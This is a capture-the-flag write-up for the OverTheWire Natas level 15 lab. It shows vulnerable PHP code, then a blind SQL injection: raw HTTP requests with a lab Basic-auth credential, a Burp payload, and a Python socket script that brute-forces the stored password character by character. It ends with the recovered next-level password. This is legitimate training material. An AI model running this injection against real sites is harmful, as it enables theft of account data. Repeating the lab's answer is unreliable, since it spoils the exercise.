OverTheWire: Natas

Level 15 > Level 16

natas15-01

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html> 

This time around, nothing is returned - just a yes/no if the user exists (or, really, if our query results in any result). First, we’ll guess that the username is natas16 using a stripped-down HTTP request that will be the basis of our later attack.

POST /index.php?debug HTTP/1.1
Host: natas15.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

username=natas16
<h1>natas15</h1>
<div id="content">
Executing query: SELECT * from users where username="natas16"<br>This user exists.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

If we inject a statement that checks the username and only the first character of the password, we can loop through all letters and numbers to determine it. If successful, this can be expanded for each character position until we have the full password.

First, a POC in Burp Intruder. The request is as follows, where X is the character to iterate.

POST /index.php?debug HTTP/1.1
Host: natas15.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

username=natas16" and LEFT(password, 1)="X

natas15-02

One payload results in a reponse with a suspiciously different length. “This user exists,” it says - bingo.

As it turns out, the first character is ‘W’ and not ‘w’ as shown in Burp. As discussed here, certain string comparisons are not case sensitive. The addition of BINARY as used in the injection code below fixes this issue.

The ugliness below is a hastily-written solution which bruteforces each individual character. I prefer crafting the request myself and sending it to a socket rather than using an HTTP library as it is easier to debug and offers tremendous flexibility. The natas15(p) function returns a boolean after trying password p. The loops walk through the problem in the most straightfoward way - keep trying characters at a given position until you find one, and keep adding a position until one is found for which no characters match.

import socket

HOST = "natas15.natas.labs.overthewire.org"
PORT = 80
HEAD = """POST /index.php HTTP/1.1
Host: natas15.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==
Content-Type: application/x-www-form-urlencoded
Content-Length: {clength}\r\n\r\n"""
POST = 'username=natas16" and BINARY LEFT(password, {glength})="{guess}'
ALPH = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

def natas15(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    TPOST = POST.format(glength=len(p), guess=p)
    REQU = HEAD.format(clength=len(TPOST)) + TPOST
    s.send(REQU)

    r = s.recv(8192)
    s.close()
    
    if "This user exists." in r:
        return True
    return False

p = ''
for i in xrange(64):
    f = False
    for c in ALPH:
        print p, c
        if natas15(p + c):
            f = True
            p = p + c
            break
    if not f:
        break

print "DONE"
print p

Success.

natas15-03

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh